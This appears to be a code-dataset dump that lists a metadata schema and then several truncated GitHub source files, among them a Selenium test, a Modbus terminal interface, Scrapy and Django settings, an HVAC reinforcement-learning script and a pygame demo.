blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
281
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
6
116
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
313 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
18.2k
668M
⌀
star_events_count
int64
0
102k
fork_events_count
int64
0
38.2k
gha_license_id
stringclasses
17 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
107 values
src_encoding
stringclasses
20 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
4
6.02M
extension
stringclasses
78 values
content
stringlengths
2
6.02M
authors
listlengths
1
1
author
stringlengths
0
175
bced46d25207d88a5d9ef827366a418030296c94
4e62fcb385d9e8a6af0c6c9ec315f803d6ea190b
/testsuite/modulegraph-dir/trivial-script
f52375825ebb81241b0cf11123498021f581e29b
[ "MIT" ]
permissive
ronaldoussoren/modulegraph2
8d8a18b472574acc158c5c293ae4ed7b88f06ba9
227954f5037e291edc91e666f21bda44fd66fcb2
refs/heads/master
2023-09-01T05:16:44.873049
2023-04-09T10:28:19
2023-04-09T10:28:19
231,953,118
12
7
MIT
2023-04-09T10:29:06
2020-01-05T17:36:35
C
UTF-8
Python
false
false
98
#!/usr/bin/env python3 print("What is your name?") name = input() print("Hello {}".format(name))
[ "ronaldoussoren@mac.com" ]
ronaldoussoren@mac.com
69a139a1f5409e5b339cc62feb402b320ca49a6d
1988b9820462fafb4138064eff5395b1907b7837
/workweixin/test_workweixin.py
40d0b3f27a6a3789d7d31810160b5a903680d27a
[]
no_license
wuth01/Selenium_HomeWork
50b3ab14b5488e37e28514f0705349d18498bbb6
7414892aa8d73c1911a3f2af58c943f6060a3925
refs/heads/master
2022-12-29T23:54:57.426869
2020-10-23T07:22:26
2020-10-23T07:22:26
305,614,847
0
0
null
null
null
null
UTF-8
Python
false
false
3,163
py
import shelve from time import sleep import allure import pytest from workweixin.base import Base def add_cookies(self): self.driver.get("https://work.weixin.qq.com/wework_admin/frame#index") db = shelve.open("cookies") cookies=db['cookie'] db.close() for cookie in cookies: self.driver.add_...
[ "784709808@qq.com" ]
784709808@qq.com
4a9e1088d7a315c3224d92b8420d27e6e84ee983
1e5e98081693f2e650ee3d7e437d36e892530300
/modbus_rtu_slave/pymodbus_tui.py
59688f8a84a8700fe91edb91efb47d2ae208551b
[ "MIT" ]
permissive
victorlaskurain/unaibot
34091a4fa9032eb166d8c0261cb103d051938ff3
d3a59eb49b2a582dee824b8ea3f8d46521445cab
refs/heads/master
2021-01-20T02:44:33.447176
2020-01-12T21:33:03
2020-01-12T21:37:51
101,333,551
0
0
null
null
null
null
UTF-8
Python
false
false
19,085
py
#!/usr/bin/python3 import curses from curses.textpad import Textbox from curses import panel import logging logging.basicConfig() log = logging.getLogger() log.setLevel(logging.WARNING) from pymodbus.client.sync import ModbusSerialClient from pymodbus.client.sync import ModbusTcpClient from pymodbus import utilities...
[ "victorlaskurain@gmail.com" ]
victorlaskurain@gmail.com
3423ad0bc63c4d569a3b0ffbf920cc515ec3a5bc
5a14d267ce270e4b02a2b1e07490ab2c0d0a1808
/code_wars.py
c98d9cafa00404d6151fcb84a0812a8ef93bac1b
[]
no_license
jenlij/DC-Week1
a80dee96ceee1163c01dec33d96d8e3ec712d9b7
831fd74724b4493019071b3ce70361ec9de13382
refs/heads/master
2020-12-13T23:31:09.849059
2017-06-26T14:17:41
2017-06-26T14:17:41
95,452,650
0
0
null
null
null
null
UTF-8
Python
false
false
122
py
def longest(s1, s2): return "".join(sorted(list(set(s1+s2)))) print longest("aretheyhere", "yestheyarehere")
[ "jljohns1216@gmail.com" ]
jljohns1216@gmail.com
7607517a3f7ed7ec2938dd4f09f261e058f33f08
29755356e7b137f9756ede4d13fb23fc2a091e59
/FBOSpider/settings.py
c88cada56fa4173bcc33a63cc91ec0523bf5a697
[]
no_license
michaelpermyashkin/FBOSpider-Scrapy
7443bee6ded03220c3d472513033b58eddbc4480
231b760d7c176c28a27b40d677208681731e8b28
refs/heads/master
2020-08-21T08:05:23.355942
2019-10-19T22:15:56
2019-10-19T22:15:56
216,114,670
0
0
null
null
null
null
UTF-8
Python
false
false
3,315
py
# -*- coding: utf-8 -*- # Scrapy settings for FBOSpider project # # For simplicity, this file contains only settings considered important or # commonly used. You can find more settings consulting the documentation: # # https://docs.scrapy.org/en/latest/topics/settings.html # https://docs.scrapy.org/en/latest/t...
[ "michael.permyashkin@cinteot.com" ]
michael.permyashkin@cinteot.com
d01172f213fc07df96889ca66c826cc836c0ccd7
1a568b6688b7a5aaa06b04f897827f1916bacec2
/main/startem.py
6bebf1f0ab5911d19f1a56d1b58dd28516ee3e73
[]
no_license
rudaum/EasyManagement
3c0ad5d90bb08e09ed4bf9bdab4f92e3b474d14d
bc802311f73304ab6bed95cc720e1fd042be1636
refs/heads/master
2021-10-20T19:22:00.807590
2019-03-01T11:20:14
2019-03-01T11:20:14
112,506,135
0
0
null
null
null
null
UTF-8
Python
false
false
1,600
py
#!/usr/bin/python # - Purpose: # <purpose> # - Author: # <author> # - Contact for questions and/or comments: # <contact> # - Parameters: # < accepted arguments> # - Version Releases and modifications. # <versions history log> ### START OF MODULE IMPORTS ### # ----------------...
[ "noreply@github.com" ]
noreply@github.com
bf8fc05e2a52b6d61a940be8c98d6361c78986b6
7536f4ccf9766f36b368b05dfd2ee74a3c90c480
/setup.py
39995f42281f1a475c031921c6e24de73d5d074d
[]
no_license
borislitv/burlak
42af6afff2fe58bc8ec295985d54bd99c26087bb
3f90c16c362929c04786e5ee38a636e8902dd8ce
refs/heads/master
2020-03-29T23:14:43.496180
2018-10-08T14:27:59
2018-10-12T12:42:37
145,585,515
0
0
null
2018-08-21T15:44:40
2018-08-21T15:44:39
null
UTF-8
Python
false
false
918
py
from debian import changelog from setuptools import find_packages, setup __version__ = str(changelog.Changelog(open('debian/changelog')).version) __desc__ = 'Orchestrator next-gen prototype' setup( name='cocaine-orca', version=__version__, packages=find_packages('src'), url='https://github.com/kari...
[ "karev.alexandre@gmail.com" ]
karev.alexandre@gmail.com
cf48693e97cb38f9ccb91a41e55b51a294037776
7cf119239091001cbe687f73018dc6a58b5b1333
/datashufflepy-zeus/src/branch_scripts2/NEWS/ZX_CJXW_ZYCJ/ZX_CJXW_ZYCJ_BQW_YW.py
ba8ecd5014776a7fa8dbfac0a2059a57780b2dab
[ "Apache-2.0" ]
permissive
ILKKAI/dataETL
0f5b80c3482994f735f092a1e01fa1009bac4109
32f7ec3aaaf32b5074536a615cb9cd5c28bd499c
refs/heads/master
2022-04-04T19:27:05.747852
2020-02-28T11:17:48
2020-02-28T11:17:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
356
py
# -*- coding: utf-8 -*- from database._mongodb import MongoClient def data_shuffle(data): return data if __name__ == '__main__': main_mongo = MongoClient(entity_code="ZX_CJXW_ZYCJ_BQW_YW", mongo_collection="ZX_CJXW_ZYCJ") data_list = main_mongo.main() for data in data_list: re_data = data_s...
[ "499413642@qq.com" ]
499413642@qq.com
6f33c270ab35d696bec9e583a90640ee15a8a210
4eda19418be09d6f6629729873d367917c07ef80
/pred_done.py
7e3e3e440a7d3e937aeb4117943269e78cbc4af3
[ "BSD-3-Clause" ]
permissive
slahmer97/optical_network_modelling
887f141768bd75812c5eca76b1e2b7b19f078ee1
2e435d28bde464768f23fcd138f2458e81318905
refs/heads/main
2023-01-10T16:57:05.994852
2020-11-12T20:23:32
2020-11-12T20:23:32
310,091,722
0
0
null
null
null
null
UTF-8
Python
false
false
12,669
py
import problem import tensorflow as tf from tensorflow import keras from tensorflow.keras import layers import numpy as np def create_chunks(list_name, n): for i in range(0, len(list_name), n): yield list_name[i:i + n] from tensorflow.keras import backend as K def root_mean_squared_error(y_true, y_pre...
[ "sidahmedlahmer@gmail.com" ]
sidahmedlahmer@gmail.com
6145e9810ef2bb0c59b0ff3975cd302f0e0b748f
ed314b839f2519d982b0091ea3b2b3cc8d4243b1
/让计算机崩溃的代码.py
5d18b2f5a23821c3aa5f1fd2011a415b555ebb3e
[]
no_license
RayYiHang/pycode
2a18bfa82e4453cf8a7b3891965f9813c2e66aaf
bb397e64b93cb189f6fc5d040fe8dfd1693ea548
refs/heads/master
2021-02-15T02:43:10.587981
2020-03-04T12:20:50
2020-03-04T12:20:50
244,857,058
0
0
null
null
null
null
UTF-8
Python
false
false
42
py
while True: print("hwjioedhwodwaloj")
[ "leiyihang1234@163.com" ]
leiyihang1234@163.com
953b9f01bd0365e85809fa200d05ce5acee98f25
5d7c9e5f005be7fae67d2139031033c3d95bf697
/Project/UDPServer.py
45488f30ba55fa0c21dfc081cec9ff59e105934a
[]
no_license
sleepycreeper/COMP_3825_Project
9f7aa39144df0dadc41ea84485afbc9dfe4fe181
51052ec0242a9cc49ef8967279d21904e61afef7
refs/heads/master
2020-08-21T02:24:00.732540
2019-10-28T15:59:20
2019-10-28T15:59:20
216,089,387
0
0
null
2019-10-23T15:18:44
2019-10-18T18:59:29
Python
UTF-8
Python
false
false
344
py
from socket import * serverSocket = socket(AF_INET, SOCK_DGRAM) serverSocket.bind(('127.0.0.1', 12000)) print("The server is ready to receive: ") while True: message, clientAddress = serverSocket.recvfrom(2048) modifiedMessage = 'FROM SERVER: ' + message.decode() serverSocket.sendto(modifiedMessage.enco...
[ "noreply@github.com" ]
noreply@github.com
ae9e86029763d737b183b2caf5231f0d4f50921d
11211916f39b9d98027b64d778e52743d0c519a1
/L3/doc/assignments/download/code/tmp/mindmap.py
79dfe6970ede18578894c3180bb23a782b56c190
[]
no_license
mantasruigys3000/Group-Task
87baf1bc2747323c0508f6f32ef733c3f4b50978
6790d74ae7fa0fe6b13733efcd75a9f4aca70ab0
refs/heads/master
2020-04-23T20:54:09.696659
2019-02-22T01:29:53
2019-02-22T01:29:53
171,454,102
0
0
null
2019-02-19T10:31:09
2019-02-19T10:31:08
null
UTF-8
Python
false
false
113
py
Ipsum sed tempora magnam quisquam porro tempora. Username: Sid Password: bungle Quiquia modi sit dolore quiquia.
[ "mantasruigys101@gmail.com" ]
mantasruigys101@gmail.com
9daecf9e840aee4cfde14701e20d15f7e34ab638
439199a798011ee97cd8f2c29d554764d4541ce7
/custom_widgets/switch_button.py
fdd6f207d83ed14641e177892d0e6ebcd2ab3188
[ "MIT" ]
permissive
wgenesis/XW-GI5610-Config
8779fb61fc1aea129b975027958ecb3edc1cff6a
0a09efa87bcc0fce3ea3168a55f2572c068808d4
refs/heads/main
2023-06-17T03:28:43.370700
2021-07-04T02:41:54
2021-07-04T02:41:54
382,744,474
1
0
null
null
null
null
UTF-8
Python
false
false
5,601
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @File : switch_button.py # @Project : Sleipnir # @Software : PyCharm # @Author : why # @Email : weihaoyuan2@126.com # @Time : 2021/2/28 下午3:50 from PyQt5.QtCore import (QRect, QRectF, QTimer, pyqtSignal, Qt) from PyQt5.QtGui import (QColor, QFont, QImage, Q...
[ "weihaoyuan2@126.com" ]
weihaoyuan2@126.com
b60405d5ba97be4a9cfbe3269bbca16b8665efd3
130e11f213a3a1836a47dd8bd8738b0350b8b271
/agent/agent_ppo.py
6d656f2bbaf7ff7f94f05f97bf3529184f8815d9
[]
no_license
wangyu-ustc/KDDCup2021-CityBrainChallenge-starter-kit
7b24293a202b0f4081394009842edec784f09079
da8efd4fed1be1274183be40e2fc9ecbe946294d
refs/heads/main
2023-05-24T05:46:39.016255
2021-06-10T01:32:48
2021-06-10T01:32:48
362,379,270
1
1
null
2021-04-28T07:35:22
2021-04-28T07:35:21
null
UTF-8
Python
false
false
6,808
py
import pickle import gym from pathlib import Path import pickle import gym import torch from utils import * # how to import or load local files import os import sys path = os.path.split(os.path.realpath(__file__))[0] sys.path.append(path) import gym_cfg with open(path + "/gym_cfg.py", "r") as f: pass class ...
[ "1294837640@qq.com" ]
1294837640@qq.com
12b17c07e0c56f170e2e15f5214e88fd8fbefeba
29dbc7398f9f872352bdd3b34994694fae429f9b
/trainOC.py
9a58b51855706552ea436d47327bfedee1147b2a
[ "MIT" ]
permissive
Zhangyj98/NeuralOC
07b8af8213e7ba68cfd9df471f49db3a29739792
25465cbfec7abae9c029154fdd7de48b4facbc61
refs/heads/master
2023-04-02T05:25:41.150260
2021-04-08T01:10:09
2021-04-08T01:10:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,327
py
# trainOC.py # train neural network driver for optimal control problems import argparse import numpy as np import time import datetime import torch import os import src.utils as utils from src.utils import count_parameters from torch.nn.functional import pad from src.Phi import * from src.OCflow import OCflow from sr...
[ "donken@emory.edu" ]
donken@emory.edu
2fbce2b89831fef39c2e49e725e7cb8ee0dcbd02
eadb217876d086d49be0362e312f1c069c65bc8b
/letsKode/base/selenium_driver.py
88381b89bbd0e84520642a3d2e29db7db0356123
[]
no_license
mohan1411-qa/QA_Automation_Testing
f7e54eb941b760051b429802d3fb1a1f6b700448
66d7533ab49a3c001845a15f7e7e6e3374c66673
refs/heads/master
2022-06-01T14:49:25.427981
2020-04-19T15:10:04
2020-04-19T15:10:04
256,790,709
1
0
null
null
null
null
UTF-8
Python
false
false
13,248
py
from selenium.webdriver.common.by import By from traceback import print_stack from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import * import utilities.custom_logger as cl import logging import time import os from s...
[ "mohancse43@gmail.com" ]
mohancse43@gmail.com
98cd4bb29ba38f492b9e74d210ddba72598f98b6
112531eaff088ccd870f5f47f01a779a8581d6c9
/backend/account/migrations/0006_auto_20201214_0449.py
71d17637b9274238c84678a6d5765f3e2cfe16de
[]
no_license
FuPotgames/fupot-live
3aadb06a2b3e3ac5644d0c0c1365722b3612e9a8
69d0783227e4dfab4e53f5e92820535ca6c772c1
refs/heads/master
2023-05-02T15:07:46.917265
2020-12-27T18:50:22
2020-12-27T18:50:22
295,899,385
0
0
null
null
null
null
UTF-8
Python
false
false
429
py
# Generated by Django 3.1.1 on 2020-12-14 04:49 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('account', '0005_auto_20201214_0137'), ] operations = [ migrations.AlterField( model_name='account', name='avatar', ...
[ "tahmidahmed1000@gmail.com" ]
tahmidahmed1000@gmail.com
599b2f6f2bda0dc8ed7f1276ca0b9a3c34c3d5df
200a7e17f51f7a2b959e6b0313b76effd9edb2ea
/image_classification/valid_resnet152.py
2f26314780c2291382dd4996d630e4bf1bb0bec8
[ "Apache-2.0", "MIT" ]
permissive
ZhiangChen/tornado_ML
43f243c0e8371830a104afa5b177deebfc14440d
d8bded61a6a234ca67e31776bc8576c6c18f5621
refs/heads/main
2023-04-29T04:40:05.850645
2021-05-20T04:50:32
2021-05-20T04:50:32
358,980,904
1
0
null
null
null
null
UTF-8
Python
false
false
4,370
py
""" training.py Zhiang Chen, April 2020 """ import torch import torch.utils.data import torchvision.datasets import torch.nn as nn import torchvision.transforms as transforms from utils import * import torchvision.models as models from data import EurekaDataset import os model_names = sorted(name for name in models._...
[ "zxc251@case.edu" ]
zxc251@case.edu
92f76a6b89288b8b5be0af93b98b5c77b5bd1dad
b88ec36f31099bad6e6e647d2ea58c9ae9431368
/manage.py
3303836579406baa22be1d625ba3c1c0b62c1594
[]
no_license
crowdbotics-apps/golfworld2020-21545
6365f3d3c057b0f664c57bf1e4ddc511429b02e8
c4b0cfc85e1488792de4274c25c6f86b10558d73
refs/heads/master
2023-01-03T08:59:19.955215
2020-10-15T20:32:40
2020-10-15T20:32:40
304,441,435
0
0
null
null
null
null
UTF-8
Python
false
false
639
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'golfworld2020_21545.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: ...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
71f6171f7aaed83d059577c3d31fc17bf81f12e2
2a4a17a67b9069c19396c0f8eabc8b7c4b6ff703
/BGP3D/Chapter10/Examples/InputManagerClass_01.py
692c2663e7045b2d047b6e25f1ff8cc495719df4
[]
no_license
kaz101/panda-book
0fa273cc2df5849507ecc949b4dde626241ffa5e
859a759c769d9c2db0d11140b0d04506611c2b7b
refs/heads/master
2022-12-19T09:36:05.794731
2020-09-16T19:04:10
2020-09-16T19:04:10
295,784,057
0
0
null
null
null
null
UTF-8
Python
false
false
4,187
py
''' InputManager Class The purpose of this class is to have an object that will record user input and retain that information for use by other classes. ''' from direct.showbase.DirectObject import DirectObject from pandac.PandaModules import * class InputManager(DirectObject): def __init__(self): self....
[ "kaz101130@gmail.com" ]
kaz101130@gmail.com
cc9acfe20d20a95d160d70205e0c44ef7120f7f7
0681389fa5c944121b8366ac8946fd7352e8e61e
/distributions/priors.py
15298750222ab26ccd6c03682a30e3012282812f
[]
no_license
justinalsing/serology
cb1c3f538f3782364683942c9d5d12b54720a72f
998d642e72a21bb157b0486924b2950cd82713db
refs/heads/master
2020-04-09T23:16:49.158302
2019-01-13T00:29:10
2019-01-13T00:29:10
158,828,095
0
0
null
null
null
null
UTF-8
Python
false
false
1,227
py
from scipy.stats import multivariate_normal import numpy as np class Uniform(): def __init__(self, lower, upper): self.lower = lower self.upper = upper def log_pdf(self, x): # Test each parameter against prior limits for a in range(len(x)): i...
[ "justinalsing@Justins-MBP.lan" ]
justinalsing@Justins-MBP.lan
361ed4448e6e03f83d6bd695f27f8554947bb4b0
c9e2dcfbb1b9060e5c4f8d75c32a3544b80f0537
/stocks/stocks/settings.py
5c702b7f20e9b2eb2efeeb8c676cff547cfbae66
[]
no_license
Gabrielsldev/stockmarket-django
68161b74c6f3597e9ecc7d9934625a5e84bae2c9
207b9b4cac6cebd2929f106935143b1d6fb3de00
refs/heads/main
2023-04-25T01:20:31.623541
2021-05-16T18:58:27
2021-05-16T18:58:27
367,956,766
0
0
null
null
null
null
UTF-8
Python
false
false
3,251
py
""" Django settings for stocks project. Generated by 'django-admin startproject' using Django 3.2. For more information on this file, see https://docs.djangoproject.com/en/3.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.2/ref/settings/ """ from pathlib im...
[ "gabrielsl.dev@gmail.com" ]
gabrielsl.dev@gmail.com
bc2f523362ea28ece06eb5bbdd6507c6bdd411fa
85d45bddccf4d2ca83ff2c5288d175b550ecf89f
/codevgg16.py
e639bf72f8c068214639caaa40db0fac4d566183
[]
no_license
ianchen88/Counterfeit-detection
d9444893cb512b2e5afeb72569040b124e6daf7e
ed7af98c5fac4b9c5eb75921b84c62c18e6b4e85
refs/heads/master
2022-12-17T08:53:54.115948
2020-09-24T08:34:08
2020-09-24T08:34:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
654
py
# -*- coding: utf-8 -*- """ Created on Fri Jul 6 13:37:00 2018 @author: NaveenHK """ from vgg16 import VGG16 from keras.preprocessing import image from imagenet_utils import preprocess_input from keras.models import Model import numpy as np base_model = VGG16(weights='imagenet') model = Model(input=ba...
[ "noreply@github.com" ]
noreply@github.com
82c9c9f63e9cc3f819a5e8af32323b0a621cb93f
b7248e8f1380954dc1a9641ed48dc31e8324fc7f
/UMDC1_4/main.py
81c753cc4806bad57dd10ba7d1fa117f67fea3dc
[]
no_license
danicoroman/Python-UMDC1
7770c24e198ea10043ea133440637416820f21af
32a21e258115b38e0f2450533b0e29c8a8570211
refs/heads/main
2023-02-26T18:09:46.655290
2021-02-04T13:23:26
2021-02-04T13:23:26
334,949,115
0
0
null
null
null
null
UTF-8
Python
false
false
302
py
# Escribir un programa que use un ciclo definido con rango numérico, que pregunte los nombres de sus seis mejores amigos/as, y los salude. amigos=[] print('Da el nombre de 6 amigos') for i in [0,1,2,3,4,5]: nombres = input() amigos.append(nombres) for amigo in amigos: print('Hola '+amigo)
[ "2danicoroman@gmail.com" ]
2danicoroman@gmail.com
a3172d2b4d54f3c478c1456d0aedf6921e9372cf
3bf095e083140966621b5f1442d2b5d8eb9bcb52
/03_Django/02_django_crud/crud/settings.py
4f83821a7016656624ffcef2b19ad273eb4a004f
[]
no_license
seasign10/TIL
6329d602a27cd9c4a4325da4d87f524f0a3217fe
be8a6a21a2552258bc6f866c8f16a1c0aca88e5b
refs/heads/master
2023-01-12T07:24:13.573531
2019-11-20T06:31:32
2019-11-20T06:31:32
195,918,116
1
0
null
2023-01-07T11:27:08
2019-07-09T02:31:05
Jupyter Notebook
UTF-8
Python
false
false
4,232
py
""" Django settings for crud project. Generated by 'django-admin startproject' using Django 2.2.4. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os # Bu...
[ "seasign10@gmail.com" ]
seasign10@gmail.com
4464879e74771245b22ace00573286def1e9acfa
1ce4b2495d76d58394907ce5151a40973dede6a0
/rl_fmu_single_zone_vav.py
30806b837a5e708e2721f2f6233d4e47900c1ecb
[ "BSD-3-Clause" ]
permissive
nllong/alfalfa-rl-project
de5c94eecdb78a8c70193d30d822d9abf10b7deb
9db67909683c8a0f624f7d80c0d2af7cd2726b16
refs/heads/develop
2022-05-19T07:13:04.348018
2021-10-19T16:35:26
2021-10-19T16:35:26
223,977,949
2
0
NOASSERTION
2022-03-12T01:04:36
2019-11-25T15:14:17
HTML
UTF-8
Python
false
false
7,123
py
# Author: Nicholas Long / Sourav Dey import datetime import json import os import sys import time from multiprocessing import Process, freeze_support from alfalfa_client.alfalfa_client import AlfalfaClient from alfalfa_client.historian import Historian from lib.thermal_comfort import ThermalComfort from lib.unit_con...
[ "nicholas.long@nrel.gov" ]
nicholas.long@nrel.gov
e4b3db9f68e28a8a3eaaa388dfd94f8df8be129c
4516fffb6f87b3b0ea7e3bee27b214094c6cb6f9
/unique_binary_search_treeII.py
a09bbcf96c2cebacbd9fe78f538ece3293c59096
[]
no_license
jianminchen/leetcode-8
b59f488f24cf53cdb0e04a214e49c9c6f72cacf5
1459baacd8c7264c2b62a2c6b5ce0001dae0aba7
refs/heads/master
2021-01-15T08:47:36.084748
2015-10-18T01:10:43
2015-10-18T01:10:43
49,403,008
1
1
null
2016-01-11T04:56:45
2016-01-11T04:56:45
null
UTF-8
Python
false
false
959
py
# Definition for a binary tree node # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: # @return a list of tree node def generateTrees(self, n): return self.gen(1,n) def gen(self, start, end): if...
[ "qirongismonica@gmail.com" ]
qirongismonica@gmail.com
39a8782b63872228f5b80c4b02fcf744f0394058
f8344a401e07bd96541c5d8ead2f4fd0f76ee7f2
/suntest/suntest_unittest/report/uncovr.py
96cc0a7fd4c0850c145f10ec825e766720dee867
[]
no_license
berniehuang/autotest
500f861008d11b725c583fae4181f65a22de9d60
9384b5cbe13a71e12fddfe952cd9c4e275917eeb
refs/heads/main
2023-06-18T08:00:53.388638
2021-07-12T07:18:13
2021-07-12T07:18:13
383,980,889
0
0
null
2021-07-08T03:55:56
2021-07-08T02:39:57
Python
UTF-8
Python
false
false
8,146
py
# -*- coding: UTF-8 -*- # ------------------------------------------------------------------------------ # Filename: uncovr.py # Author: huangbin@pset.suntec.net # Date: 2019.12.11 # ------------------------------------------------------------------------------ import os import sys import re import time import ar...
[ "noreply@github.com" ]
noreply@github.com
53f636b98dad8aa917512456c02bb2060b920d78
c29613a4a1a88b1f48e70b6ec4fd339b64700f35
/news_topic_modeling_service/trimstopwords.py
7d8459aa50e7a85ea33f725613ceb38e5d665cbb
[]
no_license
llliuyu/tap-news
1cad177a3cafed3e0afb108d5d03e64fe95eb789
ee135142dda93b5c1aaf4fa902b7b94a297b85e4
refs/heads/master
2021-07-07T08:41:52.362156
2017-10-02T10:01:18
2017-10-02T10:01:18
104,553,781
0
0
null
null
null
null
UTF-8
Python
false
false
1,385
py
from nltk import word_tokenize from nltk.corpus import stopwords if __name__ == '__main__': stop = set(stopwords.words('english')) with open('./training_data/news.csv', 'r') as f: lines = f.readlines() with open ('./training_data/news_no_stop_words.csv', 'w') as n: for line in lines...
[ "llliyu@gmail.com" ]
llliyu@gmail.com
5614aac40c555b519afc8017130881cb93449ed5
6a36c9f56be485fe3de99f77c488f610d649c4a6
/Guard/migrations/0003_datadb_time.py
03ebcae56f21e575efcce356866d347a8204a02e
[]
no_license
wangjunbo4/Guard
e2e1fffd4f3101763fbf6d500085fb53d69535e5
6cb573741194957600bf7be9050546b5f121d2f3
refs/heads/main
2023-03-31T03:36:01.442630
2021-03-19T07:53:40
2021-03-19T07:53:40
349,343,147
0
0
null
null
null
null
UTF-8
Python
false
false
380
py
# Generated by Django 3.1.7 on 2021-03-12 12:31 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('Guard', '0002_datadb'), ] operations = [ migrations.AddField( model_name='datadb', name='time', field=mo...
[ "1528780046@qq.com" ]
1528780046@qq.com
c6a4ab92e7015536946f440f0ffb7bc101b5570f
214230d0796377be0bfdda286c2c389b92a19555
/Codegate/2022 Quals/nft/monitor.py
4922b3db2a6b542e3d5b30e586133eea5016c4fd
[ "Unlicense" ]
permissive
Qwaz/solved-hacking-problem
fa5ebfeb98ec979cf57dac1470a651199f2dc50d
cda0db4888322cce759a7362de88fff5cc79f599
refs/heads/master
2023-08-24T03:45:12.481496
2023-07-16T12:38:08
2023-07-16T12:38:08
49,208,719
100
28
null
2022-03-24T00:51:04
2016-01-07T14:18:18
HTML
UTF-8
Python
false
false
604
py
import json import time from account import * from web3 import Web3 url = "http://13.124.97.208:8545" provider = Web3(Web3.HTTPProvider(url)) with open("abi.json") as f: nft_abi = json.load(f) nft = provider.eth.contract(TARGET_ADDRESS, abi=nft_abi) while True: print( { "Balance": prov...
[ "qwazpia@gmail.com" ]
qwazpia@gmail.com
3812b368cadc6658d2bb695bb6369632a83903fe
cb0313cf5c317f001e0fabb9b859bf91d919544e
/pedestrianfirst_module.py
459b08c3cc9514a12f2f2fa9f53185dce6661ed5
[]
no_license
buddha-ssjhs/1100506
cb6bc444c93bf1d639e9656f928193c5273001e5
8715de5da4ac373889456ccb2e85c8670301cef8
refs/heads/master
2023-04-16T10:07:49.408037
2021-05-06T07:05:36
2021-05-06T07:05:36
364,503,924
0
0
null
null
null
null
UTF-8
Python
false
false
352
py
from machine import Pin from utime import sleep import trafficlight as tr led_red = Pin(18, Pin.OUT) led_amber = Pin(17, Pin.OUT) led_green = Pin(16, Pin.OUT) buzzer = Pin(10, Pin.OUT) PIR = Pin(2, Pin.IN, Pin.PULL_DOWN)#ACC端需接5V電源 while True: PIR.irq(trigger=Pin.IRQ_RISING,handler=tr.pedestrianfirst) ...
[ "noreply@github.com" ]
noreply@github.com
2710c27c9a4ce34cbad7f9a203893d8ed506d1e6
9028ab13db23394dc79ab974d0d70991261640eb
/Hack USU 2018/monster.py
9a43219700a594a779b81b7fbfae8dd8eb716f2d
[]
no_license
parkerjackman/Project-Portfolio
ff1eb8cc629470faf97e42cec653bdf4e1dd5189
da8d69eb829adf3f57bb62b1a74cfca52dffa765
refs/heads/master
2020-12-01T16:22:47.693359
2019-12-30T17:11:52
2019-12-30T17:11:52
230,696,969
0
0
null
null
null
null
UTF-8
Python
false
false
1,695
py
import character import random import boss import Battle class Monster: def __init__(self): self.__visitedMonster = [] def visitedMonster(self): return self.__visitedMonster def addToVisitedMonster(self, location): self.__visitedMonster.append(location) def monster...
[ "noreply@github.com" ]
noreply@github.com
5aabce88f6fd370c793da5aa7d50437646f7c12a
0038f3baa836e35c2d999c21363c7cb08717218e
/semestral/nsga2.py
f36205a474a4ec122603f7b1b8cfd42289da1d87
[]
no_license
paulacampigotto/nsga-ii
fe61e5061bd82ca9e54395b879a6023cad09055a
94a810776b4cd4fad9d51c71bfeeff1644d1438d
refs/heads/master
2021-01-06T09:25:01.479612
2020-12-15T22:25:17
2020-12-15T22:25:17
241,278,669
5
0
null
null
null
null
UTF-8
Python
false
false
5,317
py
from operadores import * from grafico import * from globais import * import metricas as metricas from classes import * from os import listdir from os.path import isfile, join from pprint import pprint import matplotlib.pyplot as plt import numpy as np import random import itertools import timeit import copy def main(...
[ "paula_campigotto@hotmail.com" ]
paula_campigotto@hotmail.com
a6aa7a3028a5344b06d3e1631c8b5547b3a63e7e
5e5b4f09bf42e3689ac6414694ec3b4b63c08306
/Python_game/Python_game/Pygame_Frame/6.colision.py
6f706c5c2589d51e4ff8fe57cadad17524a6af75
[]
no_license
bbkyoo/projects_of_python
4fd0355c813bb9a37f9756e498e984215fc6f942
e75cad4ba782699758dbc174e955c28366728732
refs/heads/master
2023-04-04T00:18:08.400956
2021-04-08T10:10:33
2021-04-08T10:10:33
284,879,599
0
0
null
null
null
null
UTF-8
Python
false
false
4,447
py
import pygame pygame.init() # 초기화(반드시 필요) #화면 크기 설정 screen_width = 480 #가로 크기 screen_height = 640 #세로 크기 screen = pygame.display.set_mode((screen_width,screen_height)) # 화면 타이틀 설정 pygame.display.set_caption("Nado Game") # 게임 이름 # FPS clock = pygame.time.Clock() # 배경이미지 불러오기 background = pygame.image.load("D:/병규의 공...
[ "bbkyoo@naver.com" ]
bbkyoo@naver.com
7398dd4e61fa8a10f8c50b70206b571335fd085c
b17f7ca1f4e08b96c613f46373b115130dd321ac
/main.py
803379a271217ae734cccb86fdc4864d3c8241e1
[]
no_license
FarzadHeidariazad/fcc
a8538d46b75aa7309b9bbf9f4d015900c09260e9
67a4da48b56d0d1d78dfb55d03411e035b9ac26c
refs/heads/master
2023-04-04T09:23:36.426232
2021-04-12T10:15:15
2021-04-12T10:15:15
357,147,053
0
0
null
null
null
null
UTF-8
Python
false
false
963
py
